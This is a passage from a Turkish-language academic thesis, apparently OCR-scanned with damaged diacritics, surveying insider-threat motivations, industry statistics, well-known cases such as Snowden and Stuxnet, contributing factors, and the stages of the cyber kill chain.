hizmetleri durmaksizin devam etmesi gereken hizmetler olmasi sebebiyle en biiyiik
potansiyel hedef de siire¢lere miidahale etmek ve sistemin istenmeyen sekilde ¢alismasini
saglayarak maddi kayba yol agmak yoniindedir. Bununla beraber veri sizintisi, 6zellikle

ulusal emniyet ve giivenligi saglayan kurumlara yonelik oncelikli hedef konumundadir.

3.1.3. i¢ tehdidin motivasyonlar1 ve karakteristigi

Potansiyel bir i¢ tehdit ile zararli bir eylem arasinda duran 3 temel 6ge bulunmaktadir.
Bunlar; motivasyon, firsat ve yetenektir [65]. Aslinda tehdidin yol agacagi zarar miktari
dogrudan motivasyon ile baglantili degildir. Clinkii bazen disaridan kii¢iik ve anlamsiz gibi
gorilinen bir motivasyon kaynagi yikici etkilere sebep olabilmektedir [14]. Fakat i¢ tehdidin

tespitine giden yollardan biri motivasyon kaynaginin belirlenmesinden gecmektedir.

“Kirgin” calisanlar, kurum iginden zarara sebep olanlarla ilgili gegmiste en ¢ok vurgu
yapilan grup olmasina karsin i¢ tehdide neden olan kisilerin biiyiik cogunlugunu olusturdugu
ifadesi basmakalip bir tespit olarak goriilmektedir. Hedef kitlenin bu denli basitlestirilmesi
yanlis kisilere odaklanilmasina sebep olabilmektedir [65]. 2008 yilinda yapilan bir ¢alisma
kirgin ¢alisanlar ile i¢ tehdit arasinda herhangi bir baglantinin bulunmadigini tespit etmistir
[61]. Motivasyonun analiz edilebilmesi i¢in karmagik psikolojik arastirmalara ihtiyag
bulunmaktadir ve analiz yontemi kisiden kisiye degismektedir. Shaw ve digerleri zararl ig

tehdit davranigina etki eden 6 kisisel karakter 6zelligi belirlemislerdir [66]:

Yanlis yetki duygusu; intikam ile sonuglanan onay ya da statii eksikligi,

e Kisisel ve sosyal hayal kirikliklari; 6fke, yabancilagma, otoriteden hosnutsuzluk ve
intikam egilimi,

e Bilgisayar bagimliligi; agresif yalnmizlar, takimin zayif oyunculari, aglar kesfetme,
giivenlik kodlarmi kirma, gilivenlik uzmanlarina saldirma ve meydan okuma istegi
duyanlar,

e Sadakat yoksunlugu; isveren/kurumdan ziyade meslegi ya da bilgisayar uzmanlig ile

0zdeslesmek,
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e Empati eksikligi; davranigin digerleri iizerindeki etkisini degerlendirememek veya

dikkate almamak.

ABD Milli Altyapilar Tavsiye Konseyi, kotii niyetli i¢ saldirganlarin, motivasyonunu

etkileyen ve ihanete yol agan nedensel bir deneyime veya mekanizmaya sahip olduklari

sonucuna varmaktadir [61]. Bu deneyimler 3 ana kaynak altinda toplanabilmektedir:

e Kurumdaki konumlar1 ya da kendilerine verilen deger konusunda siirekli biiyiiyen,
siddetlenen fakat farkina varilmamis hosnutsuzluk,

e Disaridaki hasim tiizel kisiler veya gruplar tarafindan ige alinma,

e Kotii niyetli bir tehdit aktoriiniin giivenilir bir pozisyona sizmasi.

2005 yilindan beri i¢ tehdit ile alakali caligsmalar yapan Carnegie Mellon iiniversitesi i¢ tehdit
konusunda diinyada muhtemelen en ¢ok veriye sahip olan kurum konumundadir. 2019
itibariyle 1500’den fazla vakayi ele almistir. 2005 yilinda yaymlanan ve ABD Gizli Servisi
ile ortak yiiriitiilen bir ¢alismanin iiriinii olan i¢ Tehdit Calismas1 1996-2002 yillar1 arasinda
kritik altyap1 sektorlerinde meydana gelen 49 i¢ tehdit olayini inceleyen ilk rapordur [67].
Rapor, i¢ tehdidin birincil hedefinin organizasyonun bazi boliimlerini sabote etmek oldugu
olaylar1 incelemistir. Birincil amaci maddi kazang olanlar genellikle bankacilik ve finans

sektoriinli hedef almistir ve farkli bir raporda ele alinmastir.

Calismada i¢ tehdide neden olan kisilerin %86’sinin hedeflenen kurumda daha 6nce teknik
bir konumda bulunan eski bir c¢alisan oldugu goriilmiistiir. Bunlarin %90°1mna ise
alindiklarinda sistem yoOneticisi ya da sisteme ayricalikli erisim yetkisi verilmistir.
Kurumlara bakildiginda ise yasanan olaylarin kritik altyap1 sektorlerine dagilimi Sekil
3.2’de gosterilmistir [67].

I¢ tehdide neden olan kisilerin motivasyonlarma bakildiginda ise temel bulgular su

sekildedir:

e Ic tehdit igeren eylemlerin %92’sini isle ilgili olumsuz bir olay tetiklemistir.

e i¢c tehdide neden olan kisilerin %85’inin olaydan &nce isle ilgili bir sikayeti
bulunmaktadir.

e Olaylari %84 iiniin motivasyon kaynagi intikam duygusu olarak tespit edilmistir [67].
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Sekil 3.2. I¢ tehdit kaynakli siber olaylarin kritik altyap: sektorlerine dagilimi

I¢ tehditle ilgili bilgileri toplamaya devam eden Carnegie Mellon Universitesi giiniimiizde

caligmalarini hala siirdiirmektedir. Elde ettigi verilerle i¢ tehdidi azaltmaya yonelik ortak

hareket tarzi belirlemeyi amaglayan bir rehber yayinlamaya baslamistir. Altincit basimi

Aralik 2018’de yayinlanan rehberde 21 maddelik bir yol haritasi belirlenmistir ve yeni

vakalar incelendik¢e giincellenmeye devam etmektedir [13]. Rehberde 1500’den fazla olay

icerisinde 1154 zararli i¢ tehdit aktivitesi tespit edilmistir. Zararl i¢ tehdit eylemlerinde

gbzlemlenen 4 temel egilim asagida sunulmustur.

Bilgi teknolojisi sabotaji, igeriden bir kisinin, bir kurulus veya bireye zarar vermek igin
bilgi teknolojilerini kullanmasidir.

Fikri miilkiyet hirsizlig1, igceriden bir kisinin, kurulustan fikri miilkiyeti ¢almak i¢in bilgi
teknolojilerini kullanmasidir. (Bu kategori dis destek iceren endiistriyel casuslugu da
kapsamaktadir).

Sahtekarlik, igeriden bir kiginin, kisisel kazan¢ saglamak igin bir kurulusun verilerini
(programlar veya sistemler degil) yetkisiz bir sekilde degistirmek, silmek ya da bir kimlik
sucuna (0rnegin kimlik hirsizlig1 veya kredi kart1 sahtekarligl) yol acan bilgileri calmak
amaciyla bilgi teknolojilerini kullanmasidir.

Diger; fikri miilkiyet hirsizlig1, sahtekarlik veya bilgi teknolojileri sabotaj1 kategorilerine

girmeyen durumlardir.

Diger siifina giren olaylar haricinde i¢ tehdit egiliminin dagilimi Sekil 3.3’de sunulmustur.
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Sekil 3.3. I¢ tehdit kaynakli olaylarin egilim dagilimi [13]

Incelenen olaylar neticesinde i¢ tehditten en cok zarar géren sektdrler Sekil 3.4°de

sunulmustur.
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Sekil 3.4. I¢ tehdit kaynakli olaylarda en ¢ok zarar goren sektorler [13]

3.2. i¢ Tehdit Etkisi ve Onemi

I¢ tehdit, Avrupa Birligi’nin siber giivenlikten sorumlu ajans1 ENISA tarafindan hazirlanan
“2018’in 15 Siber Tehdidi” raporunda en ¢ok maruz kalinan 15 siber tehditten biri olarak

yer almaktadir [68]. Raporda i¢ tehdit etkisi, “yetkili erisim hakkini isteyerek ya da
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istemeyerek organizasyonun giivenligine zarar verecek sekilde kullanan kiginin yarattigi
etki” olarak tammlanmistir. I¢ tehdit etkisinin normal aktiviteden ayrilmasmin zor
olmasindan dolay1 organizasyonlar ve hiikiimetler tarafindan énemli bir risk faktorii olarak
degerlendirildiginden bahsedilmistir. i¢ tehdit etkisiyle miicadele edebilmek igin ise teknik,
sosyolojik ve sosyo-teknik alanlarinin bir arada kullanildigi bir yontem dnermistir. Rapor i¢
tehdidin yaratacagi zarar1 en aza indirgemek i¢in su yontemler onerilmektedir:

e ic tehdide yonelik giivenlik politikasi,

e Kimlik ve erisim yonetiminin kullanima,

e Kimlik yonetimi ¢oziimleri ve rol tabanli erigim yonetimi,

e Giivenlik istihbarati ¢oziimleri,

e Veri temelli davranis analiz araclari,

e Apyricalikli kimlik yonetimi ¢éziimleri,

e Egitim ve farkindalik aktiviteleri,

e Denetim ve kullanici izleme planlari,

e Egitim ve farkindalik aktivitelerinin uygulanmasi.

Diinya iizerinde siber giivenlikle alakali genel yanlis kani tehdidin sadece disaridan gelecegi
yoniindedir. Bu ylizden de giivenlik cihazlar1 yatirimlari, konfigiirasyonlari, izleme ve
kontroller disaridan gelebilecek bir tehdide yonelik planlanir ve icra edilir. Arastirmalar,
siber sahtekarligin %70'inin dis suglular yerine iceridekiler tarafindan yapildigini, giivenlik

kontrollerinin ve izlemenin %90'min dis tehditlere odaklandigini géstermektedir [69].

Ingiltere’de yapilan bir calisma kurumlarin i¢ tehdit algisiyla alakali ¢arpict baz1 verileri

gozler 6niline sermektedir [70]:

e Kurumlarin %52’si herhangi bir giivenlik risk degerlendirmesinde bulunmamaislardir;

e Kurumlarin %67’si gizlilik dereceli bilginin USB yoluyla sizdirilmasin1 6nlemek igin
hi¢bir 6nlem almamaktadir;

e Kurumlarin %78’inde sifrelenmemis diskleri calinmis bilgisayarlar bulunmaktadir.

e Kurumlarin %84’ii giden e-postalari gizlilik dereceli bilgi agisindan taramamaktadir.

Oysa ki kotii niyetli bir i¢ tehdit disaridan gelebilecek saldirilara karsi bazi avantajlara ve
daha fazla yikim potansiyeline sahiptir. I¢ saldirganlarin, tesislere veya bilgiye erisimde
mesru giris haklar1 hatta sik sik da ayricalikli yetkileri bulunur. Bununla birlikte tesisteki

kritik varliklarin yerleri hakkinda ve kurumun isleyisi hakkinda bilgi sahibiditler. I¢
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saldirganlar kurumun sadece politika ve prosediirlerini bilmekle kalmayip acikliklarini da
bilmektedirler. Hatta bazi durumda giivenligi tasarlayan kisilerdir. Dolayisiyla ne zaman,
nereye saldiracaklarini ve izlerini nasil yok edebileceklerini ¢ok daha iyi bilmektedirler. Bir
dis saldirgan kurumla ilgili birgok bilgi toplamasi gerekirken, i¢ saldirgan hedefini
belirleyebilmekte ve dis saldirganin karsilastigi higbir giivenlik engeli ile ugragsmak zorunda
olmamaktadir. Dig saldirganlar i¢in ¢ok katmanli bir korumaya kars1 saldirtya gegmektense

bir i¢ tehdit kaynagi yerlestirmek ¢ogu zaman daha maliyet-etkin ve hizli bir ¢6ziimdiir [65].

ABD Ulusal I¢ Tehdit Merkezi, ABD Gizli Servisi, CSO Dergisi tarafindan yiiriitiilen ve
Forcepoint’in sponsor oldugu 2017 ABD Siber Suglar Anketi, elektronik su¢ olaylarnin
%20'sinin igeriden kaynaklandiginin tespit edildigini ya da i¢ kaynakli olmasindan
stiphelenildigini ortaya koymustur. Ankette ayrica ankete katilanlarin %30'unun igeriden
gelen saldirilarin neden oldugu zararin dis kaynakli saldirilardan daha siddetli oldugunu
diisiindiigli ortaya ¢ikmistir. Ankete gore, i¢ tehdidin neden oldugu en yaygin olaylar su
sekildedir (azalan sirada):

e Ozel veya hassas bilgilerin istemeden ifsas1,

e Miisteri kayitlarinin tehlikeye diigmesi veya ¢alinmasi,

e (alisan kayitlarinin tehlikeye diismesi veya calinmasi,

e Ozel veya hassas bilgilerin kasith olarak a¢iklanmasi ve

e Gizli belgelerin (6rnegin ticari sirlar veya fikri miilkiyet) tehlikeye diismesi veya

calinmasi [71].

Yasanan olaylar i¢ tehdidin, kuruluslar i¢in finansal kayiplar, ticari faaliyetlerde olumsuz
etkiler ve itibarin zedelenmesi gibi etkilere sahip olabilecegini gdstermistir. Yapilan
caligmada [67] kurumlarin %81 inin i¢ tehdit aktorlerinin neden oldugu saldirilar sonucu
olumsuz ekonomik etkiler yasadig1 goriilmiistiir. McAfee ise veri ihlallerinin %43 {iniin i¢

kaynakli oldugunu (kotii niyetli ya da kasitsiz) belirtmektedir [72].

Ponemon Enstitiisii tarafindan yayimlanan 2018 I¢ Tehditlerin Maliyeti: Global Kuruluslar
adli ¢alisma, kiiresel ¢apta iceriden gelen tehditlerin verdigi zararin 12 ayda ortalama 8,76
milyon dolar oldugunu ortaya koymaktadir [3]. Arastirmacilar, Kuzey Amerika, Avrupa,
Orta Dogu, Afrika ve Asya-Pasifikteki 10001 askin ¢alisani olan 159 organizasyondaki 717
BT ve BT giivenlik uzmaniyla miilakat yapmislardir. Son 12 ayda tiim kuruluglarda toplam

3.269 i¢ tehdit vakasi tespit edilmistir. Arastirmanin diger 6ne ¢ikan sonuglari sunlardir:
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e Her tiirden i¢ tehdit artis gostermektedir. 2016'dan bu yana, ¢alisan veya yliklenici
thmalini iceren ortalama olay sayis1 yiizde 26, suglu ve kotii niyetli icerdekiler i¢in yiizde
53 artmustir. Kimlik bilgileri hirsizlig1 olaylariin sayisi son iki yilda yiizde 170 oraninda
artmaistir.

e Arastirma, i¢ tehditlerin tespit edilmesi ve yonetilmesinin zor olmaya devam ettigini
gostermektedir; bir olay ne kadar uzun siirede ¢oziiliirse, kuruluslar i¢in o kadar maliyetli
olmaktadir. I¢ tehditleri igeren olaylarmn ortalama siiresi 72 giindiir. Olaylarm sadece
%16's1 tespit edilmis ve 30 giin i¢inde durdurulabilmistir.

e Finansal kuruluslar, i¢ tehdit maliyetleri agisindan yillik ortalama 12,05 milyon dolarla
bas1 cekmektedir. Enerji ve kamu hizmetleri 10,23 milyon dolarla ikinci siradadir. imalat
orgiitleri, i¢ tehditle ilgili olaylar1 karsilamak maksadiyla yillik ortalama 8,86 milyon
dolar maliyete maruz kalmstir.

e En yiiksek yillik i¢ tehdit maliyeti 11 milyon dolarla Kuzey Amerikadadir. Ardindan 7
milyon dolarla Avrupa ve Orta Dogu gelmektedir ve bunlari yillik 6 milyon dolarla Asya-

Pasifik izlemektedir.

Cybersecurity Insiders’in yayimnlamis oldugu 2019 I¢ Tehdit Raporunda yer alan 6nemli

bulgular ise su sekildedir [73];

e Kkurumlarin %70’1 i¢ tehdit baglantili saldirilarin daha sik oldugunu kabul etmektedirler,

® %068’1 i¢ tehdit saldirilarina asir1 derecede veya orta derecede acik olduklarmi
hissetmektedirler,

® %39’u bulut depolama ve dosya paylasimi uygulamalarinin i¢ tehdide karsi en hassas
uygulamalar olduklarini belirtmislerdir,

e kurumlarin %85°1 i¢ tehdidin gergek zararini belirleyebilmenin orta zorlukta veya ¢ok zor
oldugunu bildirmislerdir,

® %56’s1 buluta go¢ etme sebebiyle i¢ tehdidi tespit edebilmenin daha zor olacagina

inanmaktadir.

Verizon’un 2019 Veri Ihlali Arastirma Raporu 41.686 giivenlik olaymi analiz etmis ve
bunlar 2.013’liniin veri ihlali oldugunu dogrulamistir [2]. Raporda i¢ tehdit ve i¢ tehdit
aktorleriyle ilgili 6nemli veriler su sekildedir;

e ihlallerin iigte birinde i¢ tehdit aktorii bulunmaktadir,

e tiim siber giivenlik vakalarinin %20’si ayricaligin kétiiye kullanimindan kaynaklanmastir,
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e ihlallerin %29’unda ¢alinmis ya da ele gegirilmis kullanici adi ve parola bilgileri

bulunmaktadir.

NATO’nun Siber Giivenlik Miikkemmeliyet Merkezi’nin I¢ Tehdit Tespit Calismast ise i¢
tehdidin 6nemini diinyay1 sarsan olaylar1 ve bas aktorlerini sunarak anlatmistir [74]. Bu
olaylarin tamaminda giivenilir bir sahis kuruma biiyiik zararlar vermistir. Ornegin, Stuxnet
saldirilar1 niikleer madde ayrimi gérevini yapan santrifiijleri kontrol eden programlanabilir
mantiksal kontroldrleri (PLC) sabote ederek iran niikleer programini durdurmustur [75]. Bu
tiir tesisler genellikle genis alan baglantis1 ve kat1 erisim politikalar1 olmayan yerel alan
aglarimi kullanmaktadirlar. Bu nedenle, en mantikli sonug, igeriden bir insanin sisteme kotii

amagli yazilim yiiklemesidir.

Yiikleniciler, Edward Snowden vakasinda oldugu gibi, kritik sistemleri gelistirmek veya
siirdiirmek icin siklikla kullanilmaktadirlar. Snowden, Merkezi Istihbarat Ajansi (CIA)
biinyesinde sistem yoneticiligi yapmistir. Daha sonra en biiyiik miisterilerinden biri Ulusal
Giivenlik Ajanst (NSA) olan Dell ve Booz Allen Hamilton’da sistemleri yonetmek (ve
tasarlamak) amaciyla ¢alismistir. Sonug olarak, birkag yil boyunca topladig: yiiksek gizlilik
dereceli verilere erisebilmistir. Tiim belgeleri 2013 yilinda gazetecilere agiklamis ve
ardindan The Guardian, Der Spiegel, The Washington Post ve The New York Times gibi

medya yayin organlarinda yayinlanmistir [76].

Snowden olayindan once ise, 2010 yilinda, Chelsea Elizabeth Manning (eski adiyla Bradley
Edward Manning) Irak ve Afganistan'daki savas kayitlarini, gizli bilgileri yayinlamaya
adanmuis bir site olan Wikileaks'e gondermistir. Materyallerin arasinda, bir Apache saldir1
helikopterinin Bagdat'taki gazetecilere saldirdigi bir “dost atesi” olayini belgeleyen
tartigmali bir video da bulunmaktadir [77-78].

ABD'nin Vietnam'daki politik ve askeri miidahaleleri ile alakali ¢ok gizli bir ¢alisma olan
"Pentagon Papers"1 yayinlayan Daniel Ellsberg, Snowden ve Manning ile karsilastirilabilir
[79-80]. Ellsberg c¢alismanin yaziminda bulunmustur ancak savasa karst cikmuistir.
Bunlardan bagka, Estonya Savunma Bakanligi’nin giivenlik departmaninin eski sefi Herman
Simm, yabanci bir ulus i¢in casusluk yapmakla su¢lanmistir [81]. Sugunu kabul etmis ve
2009 yilinda hapis cezasina ¢arptirilmistir [82]. Diger bir 6rnek, ABD Ordusu psikiyatri olan

ve 13 kisinin 6ldiiriilmesinden sorumlu Nidal Malik Hassan’dir. Hassan, katliamdan 6nce
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bilinen bir El Kaide iiyesi ile e-posta aligverisinde bulunmus ve FBI tarafindan

sorusturulmustur [83]. Fakat onleyici bir tedbir alinmamustir.

3.2.1. i¢ tehdide etki eden faktorler

Carnegie Mellon Universitesi’nin gergeklestirmis oldugu ve literatiirde dnemli bir yere sahip
olan I¢ Tehdit Calismasi [67] iizerinden gerceklestirilen bir diger calisma [84] i¢ tehdide
sebep olan etkenlerle ilgili “biiyiik resmi” gérmemizi saglamistir. Incelenen olaylarin analizi

sonucu i¢ tehdide etki eden 7 temel gozlem yapilmistir:

Gozlem 1: i¢ tehdide neden olan aktdrlerinin bircogunda BT sabotaji gerceklestirme riskine
katkida bulunan kisisel egilimler mevcuttur. Bu kisisel egilimler gozlemlenebilir bazi
karakter ozellikleri ile teshis edilebilmektedir:

e (Ciddi zihin saglig1 bozukluklar1

e Sosyal beceri ve karar verme yetenegi eksikligi

e Kural ihlallerinin bulundugu bir ge¢cmise sahip olma.

Gozlem 2: BT sabotajina yeltenen i¢ tehdit aktorlerinin cogu, beklentilerinin karsilanmamast

sebebiyle kuruma kiiskiinlerdir.

Olaylarda gozlenen karsilanmayan beklentiler arasinda yetersiz maas/ikramiye, terfi
eksikligi, ¢cevrim ici faaliyetlerin kisitlanmasi, sirket kaynaklarmin kullanimina getirilen
kisitlamalar, isyerinde mahremiyet ihlali, azalan yetki/sorumluluklar, haksiz is

gereksinimleri algisi ve is arkadaglariyla zayif iligkiler yer almaktadir.

Gozlem 3: Cogu durumda stresli olaylar, kurumsal yaptirimlar dahil olmak iizere, kurum igi

sabotaj olasiligina katkida bulunmustur.

Vakalarda gozlenen stresli olaylar, zayif performans degerlendirmeleri, kabul edilemez
davraniglara yapilan uyarilar, agir1 devamsizlik nedeniyle uzaklastirilma, diistik performans
sebebiyle daha alt bir pozisyonda gorevlendirilme, sinirli sorumluluklar ve internet erigimi,
maas veya ikramiye konusundaki hognutsuzluklar, kidem tazminat paketlerinin eksikligi, ise

alinan yeni denet¢iler, bosanma ve ailede oliimdiir.
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Gozlem 4: BT sabotaji olaylarinda davranigsal emareler siklikla mevcutken kurum

tarafindan goz ardi edilmistir.

Incelenen olaylarda gozlenen davranis emareleri arasinda uyusturucu kullanmmi, is
arkadaslariyla ¢atismalar, saldirgan veya siddet iceren davranislar, sirket hesaplarindan
uygunsuz satin almalar, ruh hali degisimleri, kotii is performansi, ise gelmeme veya
gecikme, cinsel taciz, vasifla ilgili yaniltici davraniglar, kiyafet diizenlemesi ihlalleri ve
temizlige 6nem vermeme sayilabilir. Davranigsal belirteglerin ¢ogu, agik kurumsal politika

ve kurallarin dogrudan ihlalidir.

Gozlem 5: Birgok olayda kuruluslar teknik emareleri tespit edememislerdir.

Vakalarda gozlenen teknik emareler arasinda bilgisayar korsanlig1 araglarinin indirilmesi ve
kullanilmasi, yedek olusturulamamasi, belge yonetim sistemlerine veya yazilimina erisimde
yasanan sorunlar, miisterilerin veya is arkadaslarinin sistemlerine yetkisiz erisim, isten
cikarilma sonrasinda sisteme erisme, iste uygun olmayan internet erisimi ve kurulumlari ve

arka kapi1 hesaplarinin kullanilmasi yer almaktadir.

Gozlem 6: Ig tehdit aktorleri, saldirilarini gergeklestirmek, kimliklerini ve eylemlerini
gizlemek amaciyla yonetimin bilmedigi erisim yollarini kullanmis veya yeni erisim yollar1
olusturmuslardir. I¢ kaynakl1 saldirganlarin gogunlugu isten gikarilma sonrasinda faaliyete

gecmislerdir.

Analiz edilen vakalardaki birgok kisi, isten ¢ikarilma oOncesinde saldiriyr ayarlamak
maksadiyla teknik adimlar atmak i¢in ayricalikli sistem erigim yetkisini kullanmigtir.
Ornegin, arka kap1 hesaplar1 olusturulmus, sifre kirict yazilimlar, uzaktan ag yonetim
araclar1 ve organizasyon sistemlerine erismek icin modemler kurulmustur. Ayrica isten
cikarilmada uygulanan etkisiz giivenlik kontrollerinden faydalanilmistir. Bu adimlarin ¢ogu,

bilinmeyen erigim yollarinin olusturulmasina veya kullanilmasina neden olmustur.

Gozlem 7: Fiziksel ve elektronik erisim kontrollerinin eksikligi BT sabotajim

kolaylastirmistir.
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Olaylarda gozlenen erisim kontrolii giivenlik agiklari, ¢alisanlarin oturum agtiktan sonra
basibos biraktiklart bilgisayarlardan, kurulus tarafindan bilinemeyen hesaplar olusturma
yeteneginden, yazilim kodunun kurulusun onay1 veya bilgisi olmadan iiretim sistemlerine
dahil edilebilmesinden ve isten ¢ikarma sirasinda uygulanan elektronik ve fiziksel erisimin

engellenmesi 6nlemlerinin yetersizliginden olusmaktadir.

I¢ tehdide neden olan, ortaya ¢ikmasina sebep olan etkenlerin belirlenebilmesi ve etki eden
faktorlerin dogru anlasilmasi i¢ tehdidin tespitine ve dnlenmesine giden yoldaki en 6nemli
adimdir. Bu faktorlerin kaynagi sadece kurumun i¢i ve sahsin kendisi degildir. Cevresel

etmenler de i¢ tehdide etki eden 6nemli faktorlerdendir [65].

Ic tehdide etki eden teknik ve sosyal faktorler

Teknolojinin gelisimi sosyal davraniglart ve etkilesimleri de degistirmektedir. Sosyal
medyanin yayginlasmasi ve mobil iletisim teknolojilerinin kullanimi bilgi giivenligi i¢in bir
miicadele sahasi durumundadir. Giin gegtikce daha cok calisan islerini daha etkin bir
bicimde yerine getirmek amaciyla i yerinde BT uygulamalar1 ve cihazlarinin 6zgiirce
kullannmini ifade eden “teknolojik demokrasi”yi talep eder olmustur [85]. Bugiin artik
kisisel gizliligin korundugu, devletlerin ya da is yerinin denetiminden bagimsiz “6zgiir
internet” kavrami ortaya ¢ikmis durumdadir. Dogrudan cep telefonu ve internetin oldugu bir
diinyaya dogan Y kusagi artik orta kademe yonetici kadrolarini isgal etmeye baslamiglardir
[86]. Bu yiizden teknoloji ve giivenlik sirketleri hem ozgiirligiin hem de denetimin
saglanabildigi “kendi cihazinmi getir” (Bring Your Own Device, BYOD) teknolojileri
olusturmuslar, kurum ve kuruluslar da gilivenlik politikalarin1 bu yonde belirlemeye

baslamislardir.

Fakat, giivenlik tedbirleri is yerindeki sosyal ve teknolojik degisimlere uyum
saglayamamaktadir. Tasmnabilir veri cihazlari, i¢ tehdit kaynakli bilgi sizintilarini
kolaylastirmaktadir: Arastirmalar [87], calisanlarin %89'unun haftada en az bir kez kisisel
bir taginabilir cihazi sirket agma bagladigini ve Ingiltere'deki isletmelerin yarisindan
fazlasinin tasinabilir bellek cihazlarinin kullanimini yonetecek kontrol mekanizmalarina

sahip olmadiklarin1 gostermistir.
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Ic tehdide etki eden mesleki ve ekonomik faktorler

Giliniimiiziin giderek artan rekabet ortaminda, ¢ogu kurulus bir doniisiim yasamaktadir ve
tageronlastirma bu doniisiimii basarmanin yaygin yollarindandir. Kuruluslarin kritik
sistemlerine uzun siireli erisim saglayan ii¢lincii taraf personel sayisi hizla artmaktadir. Tek
bir taseronlastirma iglemi yiizlerce 'yabanci' kiginin durumunu ‘igerideki' seklinde
degistirebilmekte ve bir sirketin calisanlar1 ile {igiincli taraf personel arasindaki farki
bulaniklastirabilmektedir. Clink{i bu personel, kurulusun tam zamanli ¢alisanlar ile aymi

diizeyde mantiksal ve fiziksel erisim yetkilerine sahip olabilmektedir.

McAfee ekonomik durgunlugun, siber suglularin, masum i¢ tehdit aktorlerini kendileri ve
kuruluslar1 hakkinda hassas bilgileri ifsa etmeye zorlamak i¢in verimli bir zemin
olusturduguna inanmaktadir [88]. Arastirmalar ayrica, ekonomik iklim kétiilestikge, isten
cikarildiginda veya ihtiyag fazlast duruma geldiginde, rekabet avantaji ve kurumsal
giivenligi korumak i¢in kritik olan 6zel veri ve bilgileri alabileceklerini sdyleyen

katilimeilarin sayisinda keskin bir artis oldugunu ortaya koymaktadir [89].

Ic tehdide etki eden kiiltiirel faktorler

Organizasyonlar degisen sartlara ayak uydurabilmek i¢in siirekli bir doniisiim i¢indedirler.
Fakat bu doniisiim dogru yonetilmezse ¢alisanlarda korku, belirsizlik ve siipheye sebep

olabilir ki bu da giivenlige kars1 olan davraniglar: etkileyebilmektedir.

Bolgesel kiiltiire bakildiginda ise 6rnegin batililarin Hindistan'daki kast sistemi ve hiyerarsik
uygulamalarini, 6rnegin kiiltiirel, dini ve toplumsal baskilar1 anlamalar1 genellikle zordur.
Iste gereken kurallar her zaman sayisiz nesiller boyunca yerlesmis davranislardan daha az

onemli olmaktadir [65].
3.3. Gelismis Israrc1 Tehdit (GIT) ve I¢ Tehdit
Siber glivenlik i¢in yiiklii yatirimlar yapmis bir kuruma sizmak maksadiyla birgok glivenlik

lirlinlinii agmak yerine, kurum i¢inden bir kisiyi Kullanmak ¢ogu zaman maliyet ve zaman

acisindan daha etkin olmaktadir. Bu nedenle siber sug orgiitleri ve Geligmis Israrct Tehdit



52

gruplar siklikla iceriden destek almaktadirlar bu nedenle GIT leri tanimak ve yontemlerini

bilmek i¢ tehdidi tespit edebilmek amaciyla 6nem arz eder.

3.3.1. Gelismis 1srarci tehdit

Kritik altyapilar gibi tehlikeye diismesi halinde bir devletin giivenliginde biiylik zararlara
yol agabilecek altyapilara yonelen siber saldirganlar hedeflerine ulagabilmek maksadiyla
bolca zaman ve para harcamaktan ¢ekinmemektedirler. Giiglii destek ve kaynaklara sahip
olmalarinin yaninda sinsi, kesintisiz ve karmasiktirlar. Bu yiizden tespitleri zor, hedeflerine
ulagmakta kararli ve bilgi, tecriibe diizeyleri yiiksektir. Dolayisiyla zarara yol agma
ihtimalleri daha yiiksek ve verdikleri zarar miktari da biyiiktiir. Tim bu sebepler GIT leri
biitlin siber sistemler i¢in en yiiksek risk grubuna sokmaktadir. Yasanan olaylar da giderek

artan bir tehdit olduklarin1 gostermektedir.

ABD Ulusal Standartlar ve Teknoloji Enstitiisii [90], GIT i¢in su tanimi kullanmugtir:
“Yiiksek bilgi ve tecriibe ile 6nemli kaynaklara sahip olan hasim bunlar1 kullanarak ¢oklu
saldir1 vektorleri (siber, fiziksel gibi) ile amaglarina ulagsmak i¢in kendisine uygun firsatlar
olusturur. Buradaki amaglar genellikle, siirekli olarak bilgi toplamak ve/veya bir misyonun,
programin veya kurulusun kritik yonlerini sekteye ugratmak veya engellemek ya da
gelecekte bunu yapacak bir konumda bulunabilmek maksadiyla hedeflenen kuruluslarin
bilgi teknoloji altyapisinda bulunmak ya da buradaki varligin1 genisletmektir.” GIT;

e amaclarinm1 gerceklestirmek i¢in uzun siire takipte kalir,

e hedefin savunma sistemine karsi koyabilmek i¢in ona uyum saglar,

e belirlenen amaci gerceklestirmek i¢in gerekli olan etkilesim seviyesini saglar ve onu
korur [91].

Her ne kadar farkli amaglar1 gergeklestirmeye yonelik olsalar da GIT ler benzer yapilara ve
isleyise sahiptirler. GIT’leri hedeflerine ulasirken kullandiklart ve saldir1 evrelerini

tanimlayan yonteme siber 6liim zinciri (cyber kill chain) denilmektedir.

Siber oliim zinciri bir siber saldirinin evrelerini ortaya koymaktadir. Bu evreler bilgi
toplamadan sisteme sizmaya kadarki siireci kapsamaktadir. Geligmis 1srarci tehditleri analiz
edebilmek amaciyla saldirinin agsamalarini belirlemek, 6nlem almak i¢in gerekli yontemlerin

gelistirilmesine olanak saglar. Siber 6liim zinciri ayn1 zamanda savunmasiz veya savunmast
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zayif bir agin gii¢lendirilmesine yardimci olmak igin bir yOnetim aract olarak da

kullanilabilmektedir. Tipik bir siber 6liim zincirinin asamalar1 asagida agiklanmistir [92].

Siber 6lim zinciri

Kesif/Bilgi Toplama

Siber 6liim zincirinin ilk asamasi kesif asamasidir. Bu asamada saldirgan hedefi teknik ve
teknik olmayan bir bakis agisiyla disaridan degerlendirir. Saldirganin amaci, hangi
kaynaktan daha fazla fayda saglayabilecegini saptamaktir. Saldirgan, istismar edebilecegi
giivenlik agiklarini arar. Bunu yaparken aktif ve pasif bilgi toplama olarak adlandirilan iki
cesit bilgi toplama yontemini kullanabilir. Port taramasi ya da zafiyet taramalar1 bu agamada

kullanilabilecek yontemlerdendir.

Silahlanma

Bu asamada tehdit aktorii, bir 6nceki asamada kesfedilen gilivenlik agiklarina 6zel olarak
hazirlanmis kotii amagh yazilimlar gelistirir. Kesif asamasinda toplanan istihbarat
temelinde, saldirganin silahlanma asamasinda nasil bir yol izlemesi gerektigine karar

vermesi i¢in kullanilir. Bu agamaya kisaca silahin belirlendigi asama diyebiliriz.

Teslimat/Iletme

Siber 6liim zinciri metodolojisinin ii¢lincli asamasi, zararli kodun, kurbani somiirmek i¢in
hedef bilgisayara iletilmesidir. 2018 Verizon Veri Ihlali Arastirma Raporundan gelen
arastirma ve analizler, ag saldirilarinin biiyiik 6l¢iide, kurumun i¢ ¢alisanlar1 hedef alinan

oltalama saldirilarindan kaynaklandigin1 gostermektedir.

Bilgi toplama asamasinda toplanan verilere dayanarak, bir kuruma 6zel arastirilmis ve
hazirlanmig oltalama saldirist ile zararli yazilim kuruma bulastirilabilmektedir. Hedefli
